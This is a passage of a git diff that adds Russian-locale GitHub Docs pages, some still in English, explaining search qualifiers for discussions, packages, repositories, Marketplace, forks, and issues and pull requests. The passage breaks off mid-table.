комментарием от пользователя @becca в репозиториях, принадлежащих GitHub. + +## Поиск по пользователю, участвующему в обсуждении + +С помощью квалификатора `involves` можно находить обсуждения, в которых участвует определенный пользователь. Квалификатор возвращает обсуждения, созданные определенным пользователем, в которых он упоминается или в которых содержатся комментарии пользователя. Квалификатор `involves` является логическим ИЛИ, применяемым к квалификаторам `author`, `mentions` и `commenter` для одного пользователя. + +| Квалификатор | Пример | +| :- | :- | +| involves:USERNAME | Запросу **[involves:becca involves:octocat](https://github.com/search?q=involves%3Abecca+involves%3Aoctocat&type=Discussions)** соответствуют обсуждения, в которых участвует пользователь @becca или @octocat. +| | Запросу [**NOT beta in:body involves:becca**](https://github.com/search?q=NOT+beta+in%3Abody+involves%3Abecca&type=Discussions) соответствуют обсуждения, в которых участвует пользователь @becca и которые не содержат слова "beta" в тексте. + +## Поиск по количеству комментариев + +Для поиска по количеству комментариев вы можете использовать квалификатор `comments` вместе с квалификаторами "больше чем", "меньше чем" и квалификаторами диапазона. Для получения дополнительной информации см. раздел [Основные сведения о различных ролях](/github/searching-for-information-on-github/understanding-the-search-syntax). + +| Квалификатор | Пример | +| :- | :- | +| comments:n | Запросу [**comments:>100**](https://github.com/search?q=comments%3A%3E100&type=Discussions) соответствуют обсуждения с более чем 100 комментариями. +| | Запросу [**comments:500..1000**](https://github.com/search?q=comments%3A500..1000&type=Discussions) соответствуют проблемы с количеством комментариев от 500 до 1000. + +## Поиск по времени создания или последнего обновления обсуждения + +Обсуждения можно фильтровать по времени создания или последнего обновления. Для фильтрации по времени создания обсуждения можно использовать квалификатор `created`, а для фильтрации по времени последнего обновления — квалификатор `updated`. + +Оба квалификатора принимают дату в качестве параметра. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} + +{% data reusables.search.date_gt_lt %} + +| Квалификатор | Пример | +| :- | :- | +| created:YYYY-MM-DD | Запросу [**created:>2020-11-15**](https://github.com/search?q=created%3A%3E%3D2020-11-15&type=discussions) соответствуют обсуждения, созданные после 15 ноября 2020 г. +| updated:YYYY-MM-DD | Запросу [**weird in:body updated:>=2020-02-01**](https://github.com/search?q=weird+in%3Abody+updated%3A%3E%3D2020-12-01&type=Discussions) соответствуют обсуждения со словом "weird" в тексте, которые были обновлены после 1 февраля 2020 г. + +## Дополнительные материалы + +- [Сортировка результатов поиска](/search-github/getting-started-with-searching-on-github/sorting-search-results/) diff --git a/translations/ru-RU/content/search-github/searching-on-github/searching-for-packages.md b/translations/ru-RU/content/search-github/searching-on-github/searching-for-packages.md new file mode 100644 index 000000000000..6b25477bc96c --- /dev/null +++ b/translations/ru-RU/content/search-github/searching-on-github/searching-for-packages.md @@ -0,0 +1,45 @@ +--- +title: Searching for packages +intro: 'You can search for packages on {% data variables.product.product_name %} and narrow the results using search qualifiers.' +product: '{% data reusables.gated-features.packages %}' +permissions: Anyone can search for packages they have access to. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub search +redirect_from: + - /github/searching-for-information-on-github/searching-for-packages + - /github/searching-for-information-on-github/searching-on-github/searching-for-packages +--- +{% data reusables.package_registry.packages-ghes-release-stage %} + +## About searching for packages + +You can search for packages globally across all of {% data variables.product.product_name %}, or search for packages within a particular organization. For more information, see "[About searching on {% data variables.product.prodname_dotcom %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)." + +{% ifversion ghes %} +You can only search for packages on {% data variables.product.product_name %}, not {% data variables.product.prodname_dotcom_the_website %}, even if {% data variables.product.prodname_github_connect %} is enabled. +{% endif %} + +{% data reusables.search.syntax_tips %} + +## Searching within a user's or organization's packages + +To find packages owned by a certain user or organization, use the `user` or `org` qualifier. + +| Qualifier | Example +| ------------- | ------------- +| user:USERNAME | [**`user:codertocat`**](https://github.com/search?q=user%3Acodertocat&type=RegistryPackages) matches packages owned by @codertocat +| org:ORGNAME | [**`org:github`**](https://github.com/search?q=org%3Agithub&type=RegistryPackages) matches packages owned by the {% data variables.product.prodname_dotcom %} organization + +## Filtering by package visibility + +To filter your search by whether a package is public or private, use the `is` qualifier. + +| Qualifier | Example | +| ------------- | ------------- +| `is:public`| [**is:public angular**](https://github.com/search?q=is%3Apublic+angular&type=RegistryPackages) matches public packages that contain the word "angular" +| `is:private`| [**is:private php**](https://github.com/search?q=is%3Aprivate+php&type=RegistryPackages) matches private packages that contain the word "php" diff --git a/translations/ru-RU/content/search-github/searching-on-github/searching-for-repositories.md b/translations/ru-RU/content/search-github/searching-on-github/searching-for-repositories.md new file mode 100644 index 000000000000..69c5aeed599a --- /dev/null +++ b/translations/ru-RU/content/search-github/searching-on-github/searching-for-repositories.md @@ -0,0 +1,206 @@ +--- +title: Searching for repositories +intro: 'You can search for repositories on {% data variables.product.product_name %} and narrow the results using these repository search qualifiers in any combination.' +redirect_from: + - /articles/searching-repositories + - /articles/searching-for-repositories + - /github/searching-for-information-on-github/searching-for-repositories + - /github/searching-for-information-on-github/searching-on-github/searching-for-repositories +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub search +shortTitle: Search for repositories +--- +You can search for repositories globally across all of {% data variables.location.product_location %}, or search for repositories within a particular organization. For more information, see "[About searching on {% data variables.product.prodname_dotcom %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)." + +To include forks in the search results, you will need to add `fork:true` or `fork:only` to your query. For more information, see "[Searching in forks](/search-github/searching-on-github/searching-in-forks)." + +{% data reusables.search.syntax_tips %} + +## Search by repository name, description, or contents of the README file + +With the `in` qualifier you can restrict your search to the repository name, repository description, repository topics, contents of the README file, or any combination of these. When you omit this qualifier, only the repository name, description, and topics are searched. + +| Qualifier | Example +| ------------- | ------------- +| `in:name` | [**jquery in:name**](https://github.com/search?q=jquery+in%3Aname&type=Repositories) matches repositories with "jquery" in the repository name. +| `in:description` | [**jquery in:name,description**](https://github.com/search?q=jquery+in%3Aname%2Cdescription&type=Repositories) matches repositories with "jquery" in the repository name or description. +| `in:topics` | [**jquery in:topics**](https://github.com/search?q=jquery+in%3Atopics&type=Repositories) matches repositories labeled with "jquery" as a topic. +| `in:readme` | [**jquery in:readme**](https://github.com/search?q=jquery+in%3Areadme&type=Repositories) matches repositories mentioning "jquery" in the repository's README file. +| `repo:owner/name` | [**repo:octocat/hello-world**](https://github.com/search?q=repo%3Aoctocat%2Fhello-world) matches a specific repository name. + +## Search based on the contents of a repository + +You can find a repository by searching for content in the repository's README file using the `in:readme` qualifier. For more information, see "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)." + +Besides using `in:readme`, it's not possible to find repositories by searching for specific content within the repository. To search for a specific file or content within a repository, you can use the file finder or code-specific search qualifiers. For more information, see "[Finding files on {% data variables.product.prodname_dotcom %}](/search-github/searching-on-github/finding-files-on-github)" and "[Searching code](/search-github/searching-on-github/searching-code)." + +| Qualifier | Example +| ------------- | ------------- +| `in:readme` | [**octocat in:readme**](https://github.com/search?q=octocat+in%3Areadme&type=Repositories) matches repositories mentioning "octocat" in the repository's README file. + +## Search within a user's or organization's repositories + +To search in all repositories owned by a certain user or organization, you can use the `user` or `org` qualifier. + +| Qualifier | Example +| ------------- | ------------- +| user:USERNAME | [**user:defunkt forks:>100**](https://github.com/search?q=user%3Adefunkt+forks%3A%3E%3D100&type=Repositories) matches repositories from @defunkt that have more than 100 forks. +| org:ORGNAME | [**org:github**](https://github.com/search?utf8=%E2%9C%93&q=org%3Agithub&type=Repositories) matches repositories from GitHub. + +## Search by repository size + +The `size` qualifier finds repositories that match a certain size (in kilobytes), using greater than, less than, and range qualifiers. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)." + +| Qualifier | Example +| ------------- | ------------- +| size:n | [**size:1000**](https://github.com/search?q=size%3A1000&type=Repositories) matches repositories that are 1 MB exactly. +| | [**size:>=30000**](https://github.com/search?q=size%3A%3E%3D30000&type=Repositories) matches repositories that are at least 30 MB. +| | [**size:<50**](https://github.com/search?q=size%3A%3C50&type=Repositories) matches repositories that are smaller than 50 KB. +| | [**size:50..120**](https://github.com/search?q=size%3A50..120&type=Repositories) matches repositories that are between 50 KB and 120 KB. + +## Search by number of followers + +You can filter repositories based on the number of users who follow the repositories, using the `followers` qualifier with greater than, less than, and range qualifiers. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)." + +| Qualifier | Example +| ------------- | ------------- +| followers:n | [**node followers:>=10000**](https://github.com/search?q=node+followers%3A%3E%3D10000) matches repositories with 10,000 or more followers mentioning the word "node". +| | [**styleguide linter followers:1..10**](https://github.com/search?q=styleguide+linter+followers%3A1..10&type=Repositories) matches repositories with between 1 and 10 followers, mentioning the word "styleguide linter." + +## Search by number of forks + +The `forks` qualifier specifies the number of forks a repository should have, using greater than, less than, and range qualifiers. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)." + +| Qualifier | Example +| ------------- | ------------- +| forks:n | [**forks:5**](https://github.com/search?q=forks%3A5&type=Repositories) matches repositories with only five forks. +| | [**forks:>=205**](https://github.com/search?q=forks%3A%3E%3D205&type=Repositories) matches repositories with at least 205 forks. +| | [**forks:<90**](https://github.com/search?q=forks%3A%3C90&type=Repositories) matches repositories with fewer than 90 forks. +| | [**forks:10..20**](https://github.com/search?q=forks%3A10..20&type=Repositories) matches repositories with 10 to 20 forks. + +## Search by number of stars + +You can search repositories based on the number of stars the repositories have, using greater than, less than, and range qualifiers. For more information, see "[Saving repositories with stars](/github/getting-started-with-github/saving-repositories-with-stars)" and "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)." + +| Qualifier | Example +| ------------- | ------------- +| stars:n | [**stars:500**](https://github.com/search?utf8=%E2%9C%93&q=stars%3A500&type=Repositories) matches repositories with exactly 500 stars. +| | [**stars:10..20 size:<1000**](https://github.com/search?q=stars%3A10..20+size%3A%3C1000&type=Repositories) matches repositories 10 to 20 stars, that are smaller than 1000 KB. +| | [**stars:>=500 fork:true language:php**](https://github.com/search?q=stars%3A%3E%3D500+fork%3Atrue+language%3Aphp&type=Repositories) matches repositories with the at least 500 stars, including forked ones, that are written in PHP. + +## Search by when a repository was created or last updated + +You can filter repositories based on time of creation or time of last update. For repository creation, you can use the `created` qualifier; to find out when a repository was last updated, you'll want to use the `pushed` qualifier. The `pushed` qualifier will return a list of repositories, sorted by the most recent commit made on any branch in the repository. + +Both take a date as a parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} + +{% data reusables.search.date_gt_lt %} + +| Qualifier | Example +| ------------- | ------------- +| created:YYYY-MM-DD | [**webos created:<2011-01-01**](https://github.com/search?q=webos+created%3A%3C2011-01-01&type=Repositories) matches repositories with the word "webos" that were created before 2011. +| pushed:YYYY-MM-DD | [**css pushed:>2013-02-01**](https://github.com/search?utf8=%E2%9C%93&q=css+pushed%3A%3E2013-02-01&type=Repositories) matches repositories with the word "css" that were pushed to after January 2013. +| | [**case pushed:>=2013-03-06 fork:only**](https://github.com/search?q=case+pushed%3A%3E%3D2013-03-06+fork%3Aonly&type=Repositories) matches repositories with the word "case" that were pushed to on or after March 6th, 2013, and that are forks. + +## Search by language + +You can search repositories based on the language of the code in the repositories. + +| Qualifier | Example +| ------------- | ------------- +| language:LANGUAGE | [**`rails language:javascript`**](https://github.com/search?q=rails+language%3Ajavascript&type=Repositories) matches repositories with the word "rails" that are written in JavaScript. + +## Search by topic + +You can find all of the repositories that are classified with a particular topic. For more information, see "[Classifying your repository with topics](/github/administering-a-repository/classifying-your-repository-with-topics)." + +| Qualifier | Example +| ------------- | ------------- +| topic:TOPIC | [**`topic:jekyll`**](https://github.com/search?utf8=%E2%9C%93&q=topic%3Ajekyll&type=Repositories&ref=searchresults) matches repositories that have been classified with the topic "Jekyll." + +## Search by number of topics + +You can search repositories by the number of topics that have been applied to the repositories, using the `topics` qualifier along with greater than, less than, and range qualifiers. For more information, see "[Classifying your repository with topics](/github/administering-a-repository/classifying-your-repository-with-topics)" and "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)." + +| Qualifier | Example +| ------------- | ------------- +| topics:n | [**topics:5**](https://github.com/search?utf8=%E2%9C%93&q=topics%3A5&type=Repositories&ref=searchresults) matches repositories that have five topics. +| | [**topics:>3**](https://github.com/search?utf8=%E2%9C%93&q=topics%3A%3E3&type=Repositories&ref=searchresults) matches repositories that have more than three topics. + +{% ifversion fpt or ghes or ghec %} + +## Search by license + +You can search repositories by the type of license in the repositories. You must use a license keyword to filter repositories by a particular license or license family. For more information, see "[Licensing a repository](/github/creating-cloning-and-archiving-repositories/licensing-a-repository)." + +| Qualifier | Example +| ------------- | ------------- +| license:LICENSE_KEYWORD | [**license:apache-2.0**](https://github.com/search?utf8=%E2%9C%93&q=license%3Aapache-2.0&type=Repositories&ref=searchresults) matches repositories that are licensed under Apache License 2.0. + +{% endif %} + +## Search by repository visibility + +You can filter your search based on the visibility of the repositories. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)." + +| Qualifier | Example +| ------------- | ------------- |{% ifversion fpt or ghes or ghec %} +| `is:public` | [**is:public org:github**](https://github.com/search?q=is%3Apublic+org%3Agithub&type=Repositories) matches public repositories owned by {% data variables.product.company_short %}.{% endif %}{% ifversion ghes or ghec or ghae %} +| `is:internal` | [**is:internal test**](https://github.com/search?q=is%3Ainternal+test&type=Repositories) matches internal repositories that you can access and contain the word "test".{% endif %} +| `is:private` | [**is:private pages**](https://github.com/search?q=is%3Aprivate+pages&type=Repositories) matches private repositories that you can access and contain the word "pages." + +{% ifversion fpt or ghec %} + +## Search based on whether a repository is a mirror + +You can search repositories based on whether the repositories are mirrors and hosted elsewhere. For more information, see "[Finding ways to contribute to open source on {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)." + +| Qualifier | Example +| ------------- | ------------- +| `mirror:true` | [**mirror:true GNOME**](https://github.com/search?utf8=%E2%9C%93&q=mirror%3Atrue+GNOME&type=) matches repositories that are mirrors and contain the word "GNOME." +| `mirror:false` | [**mirror:false GNOME**](https://github.com/search?utf8=%E2%9C%93&q=mirror%3Afalse+GNOME&type=) matches repositories that are not mirrors and contain the word "GNOME." + +{% endif %} + +## Search based on whether a repository is archived + +You can search repositories based on whether or not the repositories are archived. For more information, see "[Archiving repositories](/repositories/archiving-a-github-repository/archiving-repositories)." + +| Qualifier | Example +| ------------- | ------------- +| `archived:true` | [**archived:true GNOME**](https://github.com/search?utf8=%E2%9C%93&q=archived%3Atrue+GNOME&type=) matches repositories that are archived and contain the word "GNOME." +| `archived:false` | [**archived:false GNOME**](https://github.com/search?utf8=%E2%9C%93&q=archived%3Afalse+GNOME&type=) matches repositories that are not archived and contain the word "GNOME." + +{% ifversion fpt or ghec %} + +## Search based on number of issues with `good first issue` or `help wanted` labels + +You can search for repositories that have a minimum number of issues labeled `help-wanted` or `good-first-issue` with the qualifiers `help-wanted-issues:>n` and `good-first-issues:>n`. For more information, see "[Encouraging helpful contributions to your project with labels](/communities/setting-up-your-project-for-healthy-contributions/encouraging-helpful-contributions-to-your-project-with-labels)." + +| Qualifier | Example +| ------------- | ------------- +| `good-first-issues:>n` | [**`good-first-issues:>2 javascript`**](https://github.com/search?utf8=%E2%9C%93&q=javascript+good-first-issues%3A%3E2&type=) matches repositories with more than two issues labeled `good-first-issue` and that contain the word "javascript." +| `help-wanted-issues:>n`|[**help-wanted-issues:>4 react**](https://github.com/search?utf8=%E2%9C%93&q=react+help-wanted-issues%3A%3E4&type=) matches repositories with more than four issues labeled `help-wanted` and that contain the word "React." + +## Search based on ability to sponsor + +You can search for repositories whose owners can be sponsored on {% data variables.product.prodname_sponsors %} with the `is:sponsorable` qualifier. For more information, see "[About {% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)." + +You can search for repositories that have a funding file using the `has:funding-file` qualifier. For more information, see "[About FUNDING files](/github/administering-a-repository/managing-repository-settings/displaying-a-sponsor-button-in-your-repository#about-funding-files)." + +| Qualifier | Example +| ------------- | ------------- +| `is:sponsorable` | [**is:sponsorable**](https://github.com/search?q=is%3Asponsorable&type=Repositories) matches repositories whose owners have a {% data variables.product.prodname_sponsors %} profile. +| `has:funding-file` | [**has:funding-file**](https://github.com/search?q=has%3Afunding-file&type=Repositories) matches repositories that have a FUNDING.yml file. + +{% endif %} + +## Further reading + +- "[Sorting search results](/search-github/getting-started-with-searching-on-github/sorting-search-results/)" +- "[Searching in forks](/search-github/searching-on-github/searching-in-forks)" diff --git a/translations/ru-RU/content/search-github/searching-on-github/searching-github-marketplace.md b/translations/ru-RU/content/search-github/searching-on-github/searching-github-marketplace.md new file mode 100644 index 000000000000..62bc3410dab9 --- /dev/null +++ b/translations/ru-RU/content/search-github/searching-on-github/searching-github-marketplace.md @@ -0,0 +1,48 @@ +--- +title: Поиск в GitHub Marketplace +intro: 'Вы можете искать приложения и действия, доступные в {% data variables.product.prodname_marketplace %}.' +versions: + fpt: '*' + ghec: '*' +topics: + - GitHub search +redirect_from: + - /github/searching-for-information-on-github/searching-github-marketplace + - /github/searching-for-information-on-github/searching-on-github/searching-github-marketplace +shortTitle: Search GitHub Marketplace +ms.openlocfilehash: fed7320cfd88e40f227d61f9cad361947823f0cf +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145118872' +--- +## Сведения о поиске в {% data variables.product.prodname_marketplace %} + +Приложения и действия в {% data variables.product.prodname_marketplace %} можно найти двумя способами: + +- Поиск из {% data variables.product.prodname_marketplace %}. +- Выполните поиск по всему {% data variables.product.prodname_dotcom_the_website %}, а затем отфильтруйте результаты. + +## Поиск в {% data variables.product.prodname_marketplace %} + +1. В верхней части любой страницы щелкните **Marketplace**. + ![ссылка на Marketplace](/assets/images/help/search/marketplace-link.png) +2. Введите любые ключевые слова и нажмите клавишу **Enter**. + ![Поиск анализатора кода на {% data variables.product.prodname_marketplace %}](/assets/images/help/search/marketplace-apps-and-actions-search-field.png) +3. При необходимости отфильтруйте результаты, щелкнув один или несколько параметров на левой боковой панели. + +## Поиск по {% data variables.product.prodname_dotcom_the_website %} + +В любой момент, когда вы выполняете поиск по всему {% data variables.product.prodname_dotcom_the_website %}, можно отфильтровать результаты, чтобы просмотреть соответствующие приложения и действия из {% data variables.product.prodname_marketplace %}. + +1. Перейдите к https://github.com/search. +2. Введите любые ключевые слова и нажмите клавишу **Enter**. + ![поле поиска](/assets/images/help/search/search-field.png) +3. На левой боковой панели щелкните **Marketplace**. + ![Результаты поиска для анализатора кода с выделенным параметром Marketplace бокового меню](/assets/images/help/search/marketplace-left-side-navigation.png) + +## Дополнительные материалы + +- [Сведения о {% data variables.product.prodname_marketplace %}](/github/customizing-your-github-workflow/about-github-marketplace) +- [Использование действий из {% data variables.product.prodname_marketplace %} в рабочем процессе](/actions/automating-your-workflow-with-github-actions/using-actions-from-github-marketplace-in-your-workflow) diff --git a/translations/ru-RU/content/search-github/searching-on-github/searching-in-forks.md b/translations/ru-RU/content/search-github/searching-on-github/searching-in-forks.md new file mode 100644 index 000000000000..7e19774ac973 --- /dev/null +++ b/translations/ru-RU/content/search-github/searching-on-github/searching-in-forks.md @@ -0,0 +1,38 @@ +--- +title: Поиск в вилках +intro: 'По умолчанию в результатах поиска не отображаются [вилки](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks). Их можно включить в поисковые запросы репозитория и в операции поиска по коду, если они соответствуют определенным критериям.' +redirect_from: + - /articles/searching-in-forks + - /github/searching-for-information-on-github/searching-in-forks + - /github/searching-for-information-on-github/searching-on-github/searching-in-forks +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub search +ms.openlocfilehash: 6375fdecd7dba47447b37207467e008f0e7b3fc0 +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147785793' +--- +Чтобы отобразить вилки в результатах [поиска по репозиторию](/search-github/searching-on-github/searching-for-repositories), добавьте к запросу `fork:true` или `fork:only`. + +Вилки индексируются для [поиска кода](/search-github/searching-on-github/searching-code), только если они имеют больше звезд, чем родительский репозиторий. Невозможно выполнить поиск кода в вилке, у которой меньше звезд, чем у ее родительского репозитория. Чтобы в результатах поиска кода отображались вилки с большим количеством звездочек, чем у родительского репозитория, добавьте к запросу `fork:true` или `fork:only`. + +Классификатор `fork:true` находит все результаты, соответствующие вашему поисковому запросу, включая вилки. Классификатор `fork:only` находит _только_ вилки, соответствующие вашему поисковому запросу. + +| Квалификатор | Пример +| ------------- | ------------- +| `fork:true` | [**github fork:true**](https://github.com/search?q=github+fork%3Atrue&type=Repositories) соответствует всем репозиториям, содержащим слово "github", включая вилки. +| | [**android language:java fork:true**](https://github.com/search?q=android+language%3Ajava+fork%3Atrue&type=Code) соответствует коду со словом "android", написанному на Java как в вилках, так и в обычных репозиториях. +| `fork:only` | [**github fork:only**](https://github.com/search?q=github+fork%3Aonly&type=Repositories) соответствует всем репозиториям вилок, содержащих слово "github." +| | [**forks:>500 fork:only**](https://github.com/search?q=forks%3A%3E500+fork%3Aonly&type=Repositories) соответствует репозиториям с более чем 500 вилками и возвращает только те из них, которые являются вилками. + +## Дополнительные материалы + +- [Сведения о вилках](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks) +- [Сведения о поиске в GitHub](/search-github/getting-started-with-searching-on-github/about-searching-on-github) diff --git a/translations/ru-RU/content/search-github/searching-on-github/searching-issues-and-pull-requests.md b/translations/ru-RU/content/search-github/searching-on-github/searching-issues-and-pull-requests.md new file mode 100644 index 000000000000..92167c6b2b57 --- /dev/null +++ b/translations/ru-RU/content/search-github/searching-on-github/searching-issues-and-pull-requests.md @@ -0,0 +1,359 @@ +--- +title: Поиск проблем и запросов на вытягивание +intro: 'Можно выполнять поиск проблем и запросов на вытягивание на {% data variables.product.product_name %} и использовать квалификаторы поиска в любом сочетании, чтобы уточнить результаты.' +redirect_from: + - /articles/searching-issues + - /articles/searching-issues-and-pull-requests + - /github/searching-for-information-on-github/searching-issues-and-pull-requests + - /github/searching-for-information-on-github/searching-on-github/searching-issues-and-pull-requests +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub search +shortTitle: Search issues & PRs +ms.openlocfilehash: 8565d2d31c66291114da8ab4a95312a568d39ae3 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148106464' +--- +Вы можете искать проблемы и запросы на вытягивание глобально во всех {% data variables.product.product_name %}, или искать проблемы и запросы на вытягивание в определенной организации. Дополнительные сведения см. в разделе [Сведения о поиске в {% data variables.product.company_short %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github). + +{% tip %} + +**Советы.** {% ifversion ghes or ghae %} + - Эта статья содержит примеры поиска на веб-сайте {% data variables.product.prodname_dotcom %}.com, но вы можете использовать те же фильтры поиска в {% data variables.location.product_location %}. {% endif %} + - Список вариантов синтаксиса поиска, которые можно добавить в любой квалификатор поиска для дальнейшего улучшения результатов, см. в разделе [Общие сведения о синтаксисе поиска](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax). + - Используйте кавычки для многословных условий поиска. Например, если вы хотите найти проблемы с меткой "Выполняется", выполните поиск `label:"in progress"`. Регистр в поиске не учитывается. + - {% data reusables.search.search_issues_and_pull_requests_shortcut %} + + {% endtip %} + +## Поиск только проблем или запросов на вытягивание + +По умолчанию поиск {% data variables.product.product_name %} возвращает и проблемы, и запросы на вытягивание. Однако результаты поиска можно ограничить только проблемами или только запросами на вытягивание с помощью квалификатора `type` или `is`. + +| Квалификатор | Пример +| ------------- | ------------- +| `type:pr` | [**cat type:pr**](https://github.com/search?q=cat+type%3Apr&type=Issues) соответствует запросам на вытягивание со словом "cat". +| `type:issue` | [**github commenter:defunkt type:issue**](https://github.com/search?q=github+commenter%3Adefunkt+type%3Aissue&type=Issues) соответствует проблемам, содержащим слово "github" и имеющим комментарий @defunkt. +| `is:pr` | [**event type:pr**](https://github.com/search?utf8=%E2%9C%93&q=event+is%3Apr&type=) соответствует запросам на вытягивание со словом "event". +| `is:issue` | [**is:issue label:bug is:closed**](https://github.com/search?utf8=%E2%9C%93&q=is%3Aissue+label%3Abug+is%3Aclosed&type=) соответствует закрытым проблемам с меткой "bug". + +## Поиск по названию, тексту или комментариям + +С помощью квалификатора `in` можно ограничить поиск заголовками, текстом, комментариями или любым сочетанием этих значений. Если опустить этот квалификатор, выполняется поиск заголовков, текста и комментариев. + +| Квалификатор | Пример +| ------------- | ------------- +| `in:title` | [**warning in:title**](https://github.com/search?q=warning+in%3Atitle&type=Issues)соответствует проблемам со словом "warning" в заголовке. +| `in:body` | [**error in:title,body**](https://github.com/search?q=error+in%3Atitle%2Cbody&type=Issues) соответствует проблемам со словом "error" в заголовке или тексте. +| `in:comments` | [**shipit in:comments**](https://github.com/search?q=shipit+in%3Acomment&type=Issues) соответствует проблемам, в комментариях которых упоминается "shipit". + +## Поиск в репозиториях пользователя или организации + +Для поиска проблем и запросов на вытягивание во всех репозиториях, принадлежащих определенному пользователю или организации, можно использовать квалификатор `user` или `org`. Для поиска проблем и запросов на вытягивание в определенном репозитории можно использовать квалификатор `repo`. + +{% data reusables.pull_requests.large-search-workaround %} + +| Квалификатор | Пример +| ------------- | ------------- +| user:USERNAME | [**user:defunkt ubuntu**](https://github.com/search?q=user%3Adefunkt+ubuntu&type=Issues) соответствует проблемам со словом "ubuntu" в репозиториях, принадлежащих @defunkt. +| org:ORGNAME | [**org:github**](https://github.com/search?q=org%3Agithub&type=Issues&utf8=%E2%9C%93) соответствует проблемам в репозиториях, принадлежащих организации GitHub. +| repo:USERNAME/REPOSITORY | [**repo:mozilla/shumway created:<2012-03-01**](https://github.com/search?q=repo%3Amozilla%2Fshumway+created%3A%3C2012-03-01&type=Issues) соответствует проблемам из проекта shumway @mozilla, созданным до марта 2012 г. + +## Поиск по открытому или закрытому состоянию + +Вы можете фильтровать проблемы и запросы на вытягивание по тому, открыты они или закрыты, с помощью квалификатора `state` или `is`. + +| Квалификатор | Пример +| ------------- | ------------- +| `state:open` | [**libraries state:open mentions:vmg**](https://github.com/search?utf8=%E2%9C%93&q=libraries+state%3Aopen+mentions%3Avmg&type=Issues) соответствует открытым проблемам, в которых упоминается @vmg со словом "libraries". +| `state:closed` | [**design state:closed in:body**](https://github.com/search?utf8=%E2%9C%93&q=design+state%3Aclosed+in%3Abody&type=Issues) соответствует закрытым проблемам со словом "design" в тексте. +| `is:open` | [**performance is:open is:issue**](https://github.com/search?q=performance+is%3Aopen+is%3Aissue&type=Issues) соответствует открытым проблемам со словом "performance". +| `is:closed` | [**android is:closed**](https://github.com/search?utf8=%E2%9C%93&q=android+is%3Aclosed&type=) соответствует закрытым проблемам и запросам на вытягивание со словом "android". + +{% ifversion issue-close-reasons %} +## Поиск по причине закрытия проблемы + +Проблемы можно отфильтровать по причине, заданной при закрытии проблемы, используя квалификатор `reason`. + +| Квалификатор | Пример +| ------------- | ------------- +| `reason:completed` | [**libraries is:closed reason:completed**](https://github.com/search?q=libraries+is%3Aclosed+reason%3Acompleted&type=Issues) соответствует проблемам со словом "библиотеки", которые были закрыты как "завершенные". +| `reason:"not planned"` | [**библиотеки is:закрыто reason:незапланированные**](https://github.com/search?q=libraries+is%3Aclosed+reason%3A%22not+planned%22&type=Issues) соответствует проблемам со словом "библиотеки", которые были закрыты как "незапланированные". + +{% endif %} + +## Фильтрация по видимости репозитория + +Вы можете фильтровать по видимости репозитория, содержащего проблемы и запросы на вытягивание, с помощью квалификатора `is`. Дополнительные сведения см. в разделе [Сведения о репозиториях](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility). + +| Квалификатор | Пример | ------------- | ------------- |{% ifversion fpt or ghes or ghec %} | `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Issues) соответствует проблемам и запросам на вытягивание в общедоступных репозиториях.{% endif %}{% ifversion ghes or ghec or ghae %} | `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Issues) соответствует проблемам и запросам на вытягивание во внутренних репозиториях.{% endif %} | `is:private` | [**is:private cupcake**](https://github.com/search?q=is%3Aprivate+cupcake&type=Issues) соответствует проблемам и запросам на вытягивание, содержащим слово "cupcake", в частных репозиториях, к которым у вас есть доступ. + +## Поиск по автору + +Квалификатор `author` позволяет находить проблемы и запросы на вытягивание, созданные определенным пользователем или учетной записью интеграции. + +| Квалификатор | Пример +| ------------- | ------------- +| author:USERNAME | [**cool author:gjtorikian**](https://github.com/search?q=cool+author%3Agjtorikian&type=Issues) соответствует проблемам и запросам на вытягивание, содержащим слово "cool" и созданным @gjtorikian. +| | [**bootstrap in:body author:mdo**](https://github.com/search?q=bootstrap+in%3Abody+author%3Amdo&type=Issues) соответствует проблемам, написанным @mdo, в тексте которых имеется слово "bootstrap". +| author:app/USERNAME | [**author:app/robot**](https://github.com/search?q=author%3Aapp%2Frobot&type=Issues) соответствует проблемам, созданным учетной записью интеграции с именем "robot". + +## Поиск по уполномоченному + +Квалификатор `assignee` позволяет находить проблемы и запросы на вытягивание, назначенные определенному пользователю. Вы не можете искать проблемы и запросы на вытягивание, назначенные _любому_ уполномоченному, однако вы можете искать [проблемы и запросы на вытягивание, у которых нет уполномоченного](#search-by-missing-metadata). + +| Квалификатор | Пример +| ------------- | ------------- +| assignee:USERNAME | [**assignee:vmg 